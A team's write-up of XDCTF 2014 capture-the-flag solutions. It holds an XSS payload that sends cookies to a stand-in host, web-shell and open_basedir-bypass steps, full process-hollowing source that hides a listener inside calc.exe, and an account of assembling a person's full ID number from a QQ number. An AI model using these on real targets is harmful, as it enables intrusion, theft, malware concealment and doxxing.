首页 > 代码库 > XDCTF-Writeup
XDCTF-Writeup
Team:ROIS_ThreeLine(ET,Rice,liognaij)
Note:
这篇writeup由本人和两位队友共同完成,非个人单独作品。其中仅包含队伍提交通过的题目,在两位队友努力下取得第14的成绩,谨以此文为纪念。
若有幸被转载还请注明出处。
Web20
php彩蛋 URL后缀加上 ?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000 即可得到flag
http://game1.xdctf.com:8081/H86Ki4NnCSVv/?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000
Web50
大致看了下源码文件,发现没有flag 仔细看可以发现有两个文件修改时间和其他的不一样
Manifest.json打开里面有这么一行:
"Key":"dGhlIGZvbGxvd2luZyBrZXkgaXMgbm90IHRoZSByZWFseSBrZXksIHlvdSBjYW4gZmluZCBpbiB0aGUgb3RoZXIgZmlsZSE="
Base64解码发现不是真正的flag ,并被告知真正flag在另一个文件。图片隐写?Winhex打开fuck.jpg 得到一串ASCII码,转换字符得到真正flag。
XDSec@2O14 #一开始有bug 提交会出错,后来修正了
Web70
过滤字符和数字,就到谷歌搜如何绕过,使用jsFuck编码,找到这个网址http://patriciopalladino.com/files/hieroglyphy/,生成alert(/xss/)代码
exp太长不贴出,成功弹窗
Web100
右键源码,发现注释里有提示src/2328266727.png,打开是一个二维码,手机扫一扫是一篇文章,讲的是图片隐藏,lsb图片隐藏,拿出神器stegsolve,点data extract,red最后一位0位置上打勾,点击preview,key就出来了
Web150
搜索一下 php解密 用php神盾解密,以pass为关键字在明文中搜索,很快就得到flag了
XDSE@L0VEr2014
Web180
题目链接下载网站源码,解压后发现about.asp文件没了,直接在压缩包查看,发现about.asp为网站不死马,找到着两行:
mNametitle ="gh0st2014" ‘ 标题
Copyright="qq:2725629821" ‘版权
直接搜索QQ号,得到昵称和个人详细地址生日,进入空间得到身份证后四位,拼凑出完整身份证。按照题目要求填入帐号密码得到flag
Web200
存在这个文件http://y0pk678.xdctf.com:8081/read?file=newapp.py
但是每次只会随机返回两行,然后就慢慢去拼凑,拼凑了一些比较有用的
urls = ( ‘/getflag‘, ‘xdctf‘ )def func(a): if a == ‘le4f.net‘: flag = open("flagishere","r").readlines()[0].strip() web.header(‘flag‘, flag) return ‘Nice Job!!!‘ else: passclass xdctf: try:
web.input(_unicode=func(web.input(unabletoread=‘showmeflag!!!!‘).get(‘unabletoread‘))) return "flag is here?!!show me flag!!!!" except: Pass
_unicode存在漏洞
漏洞原理http://www.leavesongs.com/PENETRATION/web-py-runcode-tip.html
构造:http://y0pk678.xdctf.com:8081/getflag?unabletoread=le4f.net
然后抓包,查看response,就可以在header看到flag了
flag: XDCTF{X1di4nUn1Vers1tySecT3AM}
Web250
Xss题,根据提示,用 [ ] 代替 < > 作为标签符号,经测试可以发现过滤了 . < > = 可以使用<svg>标签加编码绕过,再闭合<p>标签,最终exp:
[/p][svg][script]location.href="http://www.xx.com/get.php?msg="+document.cookie[/script][p]
Web270[1]
提示很明显,我们要从phpok这个网站入手,乌云上搜phpok的漏洞,前台任意文件上传getshell那个漏洞试了几次无法利用,用phpok的sql注入漏洞,拿出sqlmap跑,翻翻数据库,很快就跑出第一题的flag
也跑出用户名admin ,密码198712
这里要注意解密密码的md5时候要把后面多余的:a5去掉,然后解密得到的明文也要去掉a5
Web270[2]
用admin和198712登录网站后台,找到模版管理,可以添加.php格式模版,直接贴上一句话(大概这样,网站打不开了,具体名字记不大清),连上菜刀,在网站根目录看到了thereisaflag~.php,打开文件就看到了flag-3rdf1agis0nth155erver
Web270[3]
flag2提示flag3在服务器上,虽然有shell,但是没有跨目录权限,open_basedir的限制。就谷歌搜open_basedir bypass,然后找到一个php exp,主要利用sqlite一个漏洞,然后把这个php exp传到shell上,访问这个文件,一直点上层目录,然后就发现flag-whyflagisastupidfilename.txt这个文件,把后缀去掉就是flag了
exp地址:http://www.jinglingshu.org/?p=4989
Web270[4]
上大马,根据题目提到flag形式,直接搜索关键字flag-,然后就有了
Crack100
用de4dot脱壳,之后用ILSpy看源码,发现有flag.rs,就在ReverseMe.exe目录下创建了flag.rs文件,输入aaa,运行ReverseMe.exe,得到あああ,多试几次后发现时单字符替换,于是就把可见的字符输入flag.rs,运行ReverseMe.exe,得到相应的密文,通过对照解出了41为的flag,cplg1r7f3~xq-%!>+@sb19)<0^&key#oXDSEC2014,提交错误。看到提示flag是44位的,
就在41位的flag后面加了3位,运行ReverseMe.exe,密文只剩下32位。分析main()函数发现41位的flag的前32位加密方法与44位flag的前32位加密方法是一样的,但44位flag的后12位多经过了2个处理,分别是method0和method1,说明44位flag的后12位经过method0和method1后变成了41位flag的后9位,把XDSEC2014 base64加密后刚好12位,再和array数组异或就得到了44位flag的后12位,加上41位flag的前32位就得到了完整的44位flag
cplg1r7f3~xq-%!>+@sb19)<0^&key#o==4102cesdx=
Crack120
用uncompyle2对unknownScript进行反编译,得到源码,对源码进行分析,发现加密过程是把文件读入,进行加工后输出,输出的每一个字节的低七位代表输入文件的连续相同位的个数(最大为127),最高位代表该位的值。
例如输入文件二进制为
11000000,
00110111,
对应输出为0x06,0x85,0x01,0x82,0x02
写出解密程序,解密得到有flag的图片
解密程序源码:
#include<stdio.h>char plain[60000]={0};int main(){ int i,count = 0; char c1,c2; FILE * fin_in = fopen("data","rb"); FILE * fin_out = fopen("flag.jpg","wb"); while(fscanf(fin_in,"%c",&c1)!= EOF) { c2 = c1; c1 = c1>=0?c1:c1^0x80; if(c2<0) { for(i=0;i<c1;i++) { plain[(count+i)/8]|=1<<((count+i)%8); } } count += c1; } for(i=0;i<count/8;i++) { fprintf(fin_out,"%c",plain[i]); } fclose(fin_in); fclose(fin_out); fin_in=NULL; fin_out=NULL; return 0;}
Crack150
Apk题目,反编译发现提示xx神器,想起之前看过的关于这个的新闻,网上查了下分析过程,锁定aseert文件夹的k.jpg文件,winhex尝试看了下,发现最后有包含key md5字样的乱码,往上有dex文件头,果断抠出,用notepad utf-8格式打开,得到flag:
“key”的小写16位md5加密
Crack180
看到密文有很多的AB,觉得是培根加密,写了个脚本对截获的密文解密还是看不出什么
nc game1.xdctf.com 50008
创建一个帐号1,记下One-time-Password是a0a5c5b828c303846d2a669a4a54cb0e
之后对自己进行转帐获得密文
562041AAAAA90AABAB7AABAB193AAAAA977AAAAA4AAAAA504AAABB3AABAB
137AAABAAAAAA8AAABBAAABAAABAB7AABAA71AABAAAAABBAABAB143AABAA
AAABA6AAAABAAABB99AAAAA7AABAAAABABAAAABAABAB4AAAAAAABAA5AAAA
A0AAAAA5AAABA5AAAAB828AAABA303846AAABB2AAAAA669AAAAA4AAAAA54
AAABAAAAAB0AABAA562041AAAAA90AABAB7AABAB193AAAAA977AAAAA4AAA
AA504AAABB3AABAB137AAABA7AAABB4AAABA01AAAAB242927AAAABAABAA0
643AABAB06AABABAAAABAABAA29AAAAB10AAAAAAABAA
解密得到
562041a90f7f193a977a4a504d3f137ca8dcf7e71edf143ec6bd9
9a7efbf4ae5a0a5c5b828c303846d2a669a4a54cb0e562041a90f
7f193a977a4a504d3f137c7d4c01b242927be0643f06fbe29b10ae
发现其中含有One-time-Password,
多创建几个帐号后发现One-time-Password总是在第65-96位,
对截获的秘文解密后取第65-96位,成功登录Ph的帐号,
Please choose the Mode of Transfer
时要选第三个才能成功向Z2333转帐,转帐成功后就能得到
flag:xdctf{d4d5906bb2f30b3bbbc1d915e6ba0f7321}
解密脚本:
#!usr/bin/python# Filename:Bacon_Decrypt.pydict = { ‘AAAAA‘:‘a‘, ‘AAAAB‘:‘b‘, ‘AAABA‘:‘c‘, ‘AAABB‘:‘d‘, ‘AABAA‘:‘e‘, ‘AABAB‘:‘f‘ }ciphertext = raw_input(‘Input the ciphertext : \n‘)i=0plaintext=‘‘length = len(ciphertext)while(i<length): if ciphertext[i].isdigit(): plaintext += ciphertext[i] i +=1 else: plaintext += dict[ciphertext[i:i+5]] i += 5print plaintext[64:96]
Code120
按照运行原理,进入应用程序之前要先把返回地址(该地址位于kernel32.dll中)压入栈中,再转向应用程序去执行,也就是说在刚刚进入应用程序后栈顶是一个位于 kernel32.dll 中的地址,我们得到这个地址后向可以向系统内存的低地址进行搜索得到kernel32.dll的装载基址。因为 dll 文件也是标准的 PE 文件,所以得到装载基址后,可以通过搜索kernel32.dll的导出表得到GetProcAddress和LoadLibrary的内存地址,再通过LoadLibrary加载user32.dll,再调用GetProcAddress获得MessageBox的地址加以调用就可以了。
程序源码:
#include<windows.h>#include<stdio.h>char GetProcAddrName[]={‘G‘,‘e‘,‘t‘,‘P‘,‘r‘,‘o‘,‘c‘,‘A‘,‘d‘,‘d‘,‘r‘,‘e‘,‘s‘,‘s‘};char LoadLibAddrName[]={‘L‘,‘o‘,‘a‘,‘d‘,‘L‘,‘i‘,‘b‘,‘r‘,‘a‘,‘r‘,‘y‘,‘A‘};HMODULE hDllLib;HMODULE (__stdcall*LLib)(LPCSTR lpLibFileName);FARPROC (__stdcall*GPro)(HMODULE hModule,LPCSTR lpProcName);int (__stdcall*fpFun)(HWND,LPSTR,LPSTR,UINT);DWORD FindFun(DWORD,char*);int main(){ DWORD KernelBase; IMAGE_DOS_HEADER * doshead; IMAGE_NT_HEADERS * nthead; _asm { mov eax,[ebp] mov eax,[eax+4] mov KernelBase,eax } KernelBase&=0xFFFF0000; while(KernelBase>=0x70000000) { doshead=(IMAGE_DOS_HEADER*)KernelBase; if(doshead->e_magic==IMAGE_DOS_SIGNATURE) { nthead = (IMAGE_NT_HEADERS*)((LPBYTE)doshead+doshead->e_lfanew); if(nthead->Signature==IMAGE_NT_SIGNATURE) { break; } } KernelBase-=0x00010000; } LLib=(HMODULE(__stdcall*)(LPCSTR))(FindFun(KernelBase,LoadLibAddrName)); GPro=(FARPROC(__stdcall*)(HMODULE,LPCSTR))(FindFun(KernelBase,GetProcAddrName)); hDllLib = (*LLib)("user32"); fpFun=(int(__stdcall *)(HWND,LPSTR,LPSTR,UINT))(*GPro)(hDllLib,"MessageBoxA"); fpFun(NULL,"Hello Word","Hello Word",MB_OK); return 0;}DWORD FindFun(DWORD KernelBase,char* Fname){ unsigned i,j,num; char * FunName; WORD * AddrOfNameOrRVA; DWORD AddrOfProcAddr; DWORD * AddrOfNameRVA,* AddrOfFun; IMAGE_DOS_HEADER * pFile1; IMAGE_NT_HEADERS * pFile2; IMAGE_EXPORT_DIRECTORY * pExport; pFile1=(IMAGE_DOS_HEADER*)KernelBase; pFile2=(IMAGE_NT_HEADERS*)((PBYTE)pFile1+pFile1->e_lfanew); pExport=(IMAGE_EXPORT_DIRECTORY*) ((PBYTE)pFile1+pFile2->OptionalHeader.DataDirectory[0].VirtualAddress); AddrOfNameRVA=(DWORD*)(KernelBase+pExport->AddressOfNames); for(i=0;i<(int)pExport->NumberOfNames;i++) { FunName=(char *)(KernelBase+AddrOfNameRVA[i]); BOOL eql = TRUE; for(j=0;j<strlen(Fname);j++) { if(Fname[j]!=FunName[j]) { eql=FALSE; break; } } if(eql) { AddrOfNameOrRVA=(WORD*)(KernelBase+pExport->AddressOfNameOrdinals); num=pExport->Base+AddrOfNameOrRVA[i]; AddrOfFun=(DWORD*)(KernelBase+pExport->AddressOfFunctions); AddrOfProcAddr = KernelBase + AddrOfFun[num-1]; break; } } return AddrOfProcAddr;}
Code200
通过给CreateProcess传递CREATE_SUSPENDED参数来使calc.exe处于挂起状态,通过读取server.exe的内容来覆盖刚创建的处于挂起状态的calc.exe的空间,然后通过原始进程的空间来执行server.exe的内容
zombie.exe源码:
#include <stdio.h>#include <windows.h>#include <tlhelp32.h>struct PE_Header { unsigned long signature; unsigned short machine; unsigned short numSections; unsigned long timeDateStamp; unsigned long pointerToSymbolTable; unsigned long numOfSymbols; unsigned short sizeOfOptionHeader; unsigned short characteristics;};struct PE_ExtHeader{ unsigned short magic; unsigned char majorLinkerVersion; unsigned char minorLinkerVersion; unsigned long sizeOfCode; unsigned long sizeOfInitializedData; unsigned long sizeOfUninitializedData; unsigned long addressOfEntryPoint; unsigned long baseOfCode; unsigned long baseOfData; unsigned long imageBase; unsigned long sectionAlignment; unsigned long fileAlignment; unsigned short majorOSVersion; unsigned short minorOSVersion; unsigned short majorImageVersion; unsigned short minorImageVersion; unsigned short majorSubsystemVersion; unsigned short minorSubsystemVersion; unsigned long reserved1; unsigned long sizeOfImage; unsigned long sizeOfHeaders; unsigned long checksum; unsigned short subsystem; unsigned short DLLCharacteristics; unsigned long sizeOfStackReserve; unsigned long sizeOfStackCommit; unsigned long sizeOfHeapReserve; unsigned long sizeOfHeapCommit; unsigned long loaderFlags; unsigned long numberOfRVAAndSizes; unsigned long exportTableAddress; unsigned long exportTableSize; unsigned long importTableAddress; unsigned long importTableSize; unsigned long resourceTableAddress; unsigned long resourceTableSize; unsigned long exceptionTableAddress; unsigned long exceptionTableSize; unsigned long certFilePointer; unsigned long certTableSize; unsigned long relocationTableAddress; unsigned long relocationTableSize; unsigned long debugDataAddress; unsigned long debugDataSize; unsigned long archDataAddress; unsigned long archDataSize; unsigned long globalPtrAddress; unsigned long globalPtrSize; unsigned long TLSTableAddress; unsigned long TLSTableSize; unsigned long loadConfigTableAddress; unsigned long loadConfigTableSize; unsigned long boundImportTableAddress; unsigned long boundImportTableSize; unsigned long importAddressTableAddress; unsigned long importAddressTableSize; unsigned long delayImportDescAddress; unsigned long delayImportDescSize; unsigned long COMHeaderAddress; unsigned long COMHeaderSize; unsigned long reserved2; unsigned long reserved3;};struct SectionHeader{ unsigned char sectionName[8]; unsigned long virtualSize; unsigned long virtualAddress; unsigned long sizeOfRawData; unsigned long pointerToRawData; unsigned long pointerToRelocations; unsigned long pointerToLineNumbers; unsigned short numberOfRelocations; unsigned short numberOfLineNumbers; unsigned long characteristics;};struct MZHeader{ unsigned short signature; unsigned short partPag; unsigned short pageCnt; unsigned short reloCnt; unsigned short hdrSize; unsigned short minMem; unsigned short maxMem; unsigned short reloSS; unsigned short exeSP; unsigned short chksum; unsigned short exeIP; unsigned short reloCS; unsigned short tablOff; unsigned short overlay; unsigned char reserved[32]; unsigned long offsetToPE;};struct ImportDirEntry{ DWORD importLookupTable; DWORD timeDateStamp; DWORD fowarderChain; DWORD nameRVA; DWORD importAddressTable;};bool readPEInfo(FILE *fp, MZHeader *outMZ, PE_Header *outPE, PE_ExtHeader *outpeXH, SectionHeader **outSecHdr){ fseek(fp, 0, SEEK_END); long fileSize = ftell(fp); fseek(fp, 0, SEEK_SET); if(fileSize < sizeof(MZHeader)) { return false; } MZHeader mzH; fread(&mzH, sizeof(MZHeader), 1, fp); if(mzH.signature != 0x5a4d) { return false; } if((unsigned long)fileSize < mzH.offsetToPE + sizeof(PE_Header)) { return false; } fseek(fp, mzH.offsetToPE, SEEK_SET); PE_Header peH; fread(&peH, sizeof(PE_Header), 1, fp); if(peH.sizeOfOptionHeader != sizeof(PE_ExtHeader)) { return false; } PE_ExtHeader peXH; fread(&peXH, sizeof(PE_ExtHeader), 1, fp); SectionHeader *secHdr = new SectionHeader[peH.numSections]; fread(secHdr, sizeof(SectionHeader) * peH.numSections, 1, fp); *outMZ = mzH; *outPE = peH; *outpeXH = peXH; *outSecHdr = secHdr; return true;}int calcTotalImageSize(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH, SectionHeader *inSecHdr){ int result = 0; int alignment = inpeXH->sectionAlignment; if(inpeXH->sizeOfHeaders % alignment == 0) result += inpeXH->sizeOfHeaders; else { int val = inpeXH->sizeOfHeaders / alignment; val++; result += (val * alignment); } for(int i = 0; i < inPE->numSections; i++) { if(inSecHdr[i].virtualSize) { if(inSecHdr[i].virtualSize % alignment == 0) result += inSecHdr[i].virtualSize; else { int val = inSecHdr[i].virtualSize / alignment; val++; result += (val * alignment); } } } return result;}unsigned long getAlignedSize(unsigned long curSize, unsigned long alignment){ if(curSize % alignment == 0) return curSize; else { int val = curSize / alignment; val++; return (val * alignment); }}bool loadPE(FILE *fp, MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH, SectionHeader *inSecHdr, LPVOID ptrLoc){ char *outPtr = (char *)ptrLoc; fseek(fp, 0, SEEK_SET); unsigned long headerSize = inpeXH->sizeOfHeaders; int i = 0; for(i = 0; i < inPE->numSections; i++) { if(inSecHdr[i].pointerToRawData < headerSize) headerSize = inSecHdr[i].pointerToRawData; } unsigned long readSize = fread(outPtr, 1, headerSize, fp); if(readSize != headerSize) { return false; } outPtr += getAlignedSize(inpeXH->sizeOfHeaders, inpeXH->sectionAlignment); for(i = 0; i < inPE->numSections; i++) { if(inSecHdr[i].sizeOfRawData > 0) { unsigned long toRead = inSecHdr[i].sizeOfRawData; if(toRead > inSecHdr[i].virtualSize) toRead = inSecHdr[i].virtualSize; fseek(fp, inSecHdr[i].pointerToRawData, SEEK_SET); readSize = fread(outPtr, 1, toRead, fp); if(readSize != toRead) { return false; } outPtr += getAlignedSize(inSecHdr[i].virtualSize, inpeXH->sectionAlignment); } else { if(inSecHdr[i].virtualSize) outPtr += getAlignedSize(inSecHdr[i].virtualSize, inpeXH->sectionAlignment); } } return true;}struct FixupBlock{ unsigned long pageRVA; unsigned long blockSize;};void doRelocation(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH, SectionHeader *inSecHdr, LPVOID ptrLoc, DWORD newBase){ if(inpeXH->relocationTableAddress && inpeXH->relocationTableSize) { FixupBlock *fixBlk = (FixupBlock *)((char *)ptrLoc + inpeXH->relocationTableAddress); long delta = newBase - inpeXH->imageBase; while(fixBlk->blockSize) { int numEntries = (fixBlk->blockSize - sizeof(FixupBlock)) >> 1; unsigned short *offsetPtr = (unsigned short *)(fixBlk + 1); for(int i = 0; i < numEntries; i++) { DWORD *codeLoc = (DWORD *)((char *)ptrLoc + fixBlk->pageRVA + (*offsetPtr & 0x0FFF)); int relocType = (*offsetPtr & 0xF000) >> 12; if(relocType == 3) *codeLoc = ((DWORD)*codeLoc) + delta; offsetPtr++; } fixBlk = (FixupBlock *)offsetPtr; } } }#define TARGETPROC "calc.exe"typedef struct _PROCINFO{ DWORD baseAddr; DWORD imageSize;} PROCINFO;BOOL createChild(PPROCESS_INFORMATION pi, PCONTEXT ctx, PROCINFO *outChildProcInfo){ STARTUPINFO si = {0}; if(CreateProcess(NULL, TARGETPROC, NULL, NULL, 0, CREATE_SUSPENDED, NULL, NULL, &si, pi)) { ctx->ContextFlags=CONTEXT_FULL; GetThreadContext(pi->hThread, ctx); DWORD *pebInfo = (DWORD *)ctx->Ebx; DWORD read; ReadProcessMemory(pi->hProcess, &pebInfo[2], (LPVOID)&(outChildProcInfo->baseAddr), sizeof(DWORD), &read); DWORD curAddr = outChildProcInfo->baseAddr; MEMORY_BASIC_INFORMATION memInfo; while(VirtualQueryEx(pi->hProcess, (LPVOID)curAddr, &memInfo, sizeof(memInfo))) { if(memInfo.State == MEM_FREE) break; curAddr += memInfo.RegionSize; } outChildProcInfo->imageSize = (DWORD)curAddr - (DWORD)outChildProcInfo->baseAddr; return TRUE; } return FALSE;}BOOL hasRelocationTable(PE_ExtHeader *inpeXH){ if(inpeXH->relocationTableAddress && inpeXH->relocationTableSize) { return TRUE; } return FALSE;}typedef DWORD (WINAPI *PTRZwUnmapViewOfSection)(IN HANDLE ProcessHandle, IN PVOID BaseAddress);void doFork(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH, SectionHeader *inSecHdr, LPVOID ptrLoc, DWORD imageSize){ STARTUPINFO si = {0}; PROCESS_INFORMATION pi; CONTEXT ctx; PROCINFO childInfo; if(createChild(&pi, &ctx, &childInfo)) { LPVOID v = (LPVOID)NULL; if(inpeXH->imageBase == childInfo.baseAddr && imageSize <= childInfo.imageSize) { v = (LPVOID)childInfo.baseAddr; DWORD oldProtect; VirtualProtectEx(pi.hProcess, (LPVOID)childInfo.baseAddr, childInfo.imageSize, PAGE_EXECUTE_READWRITE, &oldProtect); } else { PTRZwUnmapViewOfSection pZwUnmapViewOfSection = (PTRZwUnmapViewOfSection)GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwUnmapViewOfSection"); if(pZwUnmapViewOfSection(pi.hProcess, (LPVOID)childInfo.baseAddr) == 0) { v = VirtualAllocEx(pi.hProcess, (LPVOID)inpeXH->imageBase, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); } } if(!v && hasRelocationTable(inpeXH)) { v = VirtualAllocEx(pi.hProcess, (void *)NULL, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if(v) { doRelocation(inMZ, inPE, inpeXH, inSecHdr, ptrLoc, (DWORD)v); } } if(v) { DWORD *pebInfo = (DWORD *)ctx.Ebx; DWORD wrote; WriteProcessMemory(pi.hProcess, &pebInfo[2], &v, sizeof(DWORD), &wrote); PE_ExtHeader *peXH = (PE_ExtHeader *)((DWORD)inMZ->offsetToPE + sizeof(PE_Header) + (DWORD)ptrLoc); peXH->imageBase = (DWORD)v; if(WriteProcessMemory(pi.hProcess, v, ptrLoc, imageSize, NULL)) { ctx.ContextFlags=CONTEXT_FULL; if((DWORD)v == childInfo.baseAddr) { ctx.Eax = (DWORD)inpeXH->imageBase + inpeXH->addressOfEntryPoint; } else { ctx.Eax = (DWORD)v + inpeXH->addressOfEntryPoint; } SetThreadContext(pi.hThread,&ctx); ResumeThread(pi.hThread); printf("成功 (PID = %d).\n", pi.dwProcessId); } else { TerminateProcess(pi.hProcess, 0); } } else { TerminateProcess(pi.hProcess, 0); } }}int main(int argc, char* argv[]){ if(argc != 2) { printf("\nUsage: %s <EXE filename>\n", argv[0]); return 1; } FILE *fp = fopen(argv[1], "rb"); if(fp) { MZHeader mzH; PE_Header peH; PE_ExtHeader peXH; SectionHeader *secHdr; if(readPEInfo(fp, &mzH, &peH, &peXH, &secHdr)) { int imageSize = calcTotalImageSize(&mzH, &peH, &peXH, secHdr); LPVOID ptrLoc = VirtualAlloc(NULL, imageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if(ptrLoc) { loadPE(fp, &mzH, &peH, &peXH, secHdr, ptrLoc); doFork(&mzH, &peH, &peXH, secHdr, ptrLoc, imageSize); } } fclose(fp); } return 0;}
server.exe源码:
#include <stdio.h>#include <winsock2.h>#pragma comment(lib, "ws2_32.lib")LRESULT CALLBACK WinProc(HWND, UINT, WPARAM, LPARAM);int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow){ static TCHAR szAppName[] = TEXT("MyWindows"); HWND hwnd; MSG msg; WNDCLASS wndclass; wndclass.style = CS_HREDRAW | CS_VREDRAW; wndclass.lpfnWndProc = WinProc; wndclass.cbClsExtra = 0; wndclass.cbWndExtra = 0; wndclass.hInstance = hInstance; wndclass.hIcon = LoadIcon(NULL, IDI_APPLICATION); wndclass.hCursor = LoadCursor(NULL, IDC_ARROW); wndclass.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH); wndclass.lpszMenuName = NULL; wndclass.lpszClassName = szAppName; if(!RegisterClass(&wndclass)) { MessageBox(NULL, TEXT("这个程序需要Windows NT!!!"),szAppName,MB_ICONERROR); return 0; } hwnd = CreateWindow(szAppName, TEXT("Hello World"), WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 200, 200, NULL, NULL, hInstance, NULL); ShowWindow(hwnd, iCmdShow); UpdateWindow(hwnd); while (GetMessage(&msg, NULL, 0, 0)) { TranslateMessage(&msg); DispatchMessage(&msg); } return msg.wParam;}LRESULT CALLBACK WinProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam){ HDC hdc; PAINTSTRUCT ps; RECT rect; int len = 0; WSADATA wd; int ret = 0; SOCKET s,c; char sendBuf[1000]="", recvBuf[1000]=""; SOCKADDR_IN saddr, caddr; ret = WSAStartup(MAKEWORD(2,2),&wd); if(ret != 0) { return 0; } if(HIBYTE(wd.wVersion)!=2 || LOBYTE(wd.wVersion)!=2) { printf("初始化失败"); WSACleanup(); return 1; } s = socket(AF_INET, SOCK_STREAM, 0); saddr.sin_addr.S_un.S_addr = htonl(INADDR_ANY); saddr.sin_family = AF_INET; saddr.sin_port = htons(80); bind(s, (SOCKADDR *)&saddr, sizeof(SOCKADDR)); listen(s,5); len = sizeof(SOCKADDR); switch(message) { case WM_PAINT: hdc = BeginPaint(hwnd,&ps); GetClientRect(hwnd,&rect); DrawText(hdc, TEXT("正在监听80端口!!!"), -1, &rect, DT_SINGLELINE | DT_CENTER | DT_VCENTER); EndPaint(hwnd, &ps); c = accept(s, (SOCKADDR*)&caddr, &len); sprintf(sendBuf, "Hello World\n"); send(c, sendBuf, strlen(sendBuf)+1, 0); closesocket(c); WSACleanup(); return 0; case WM_DESTROY: PostQuitMessage(0); return 0; } return DefWindowProc(hwnd, message, wParam, lParam);}
命令行下输入zombie.exe server.exe
zombie.exe 会使calc.exe成为傀儡进程,之后加载server.exe来监听80端口
XDCTF-Writeup